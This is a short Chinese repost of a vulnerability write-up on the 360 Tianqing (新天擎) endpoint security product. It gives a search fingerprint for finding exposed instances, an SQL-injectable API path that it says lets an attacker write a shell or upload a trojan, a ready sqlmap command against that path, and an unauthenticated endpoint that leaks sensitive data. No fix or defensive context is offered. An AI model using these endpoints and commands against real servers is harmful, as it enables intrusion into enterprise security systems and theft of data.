这个屌丝很懒，什么也没留下！

360天擎sql注入&&未授权访问_360新天擎未授权访问

作者：你好赵伟 | 2024-02-27 06:34:33

天擎存在SQL注入,攻击者可以通过漏洞上传木马

title=“360新天擎”

漏洞地址
/api/dp/rptsvcsyncpoint?ccid=1

注入写shell:
sqlmap

python sqlmap.py -u https://x.x.x.x:8443/api/dp/rptsvcsyncpoint?ccid=1 --dbms PostgreSQL
1

天擎存在未授权越权访问，造成敏感信息泄露

地址
/api/dbstat/gettablessize
在这里插入图片描述

声明：本文内容由网友自发贡献，转载请注明出处：【wpsshop】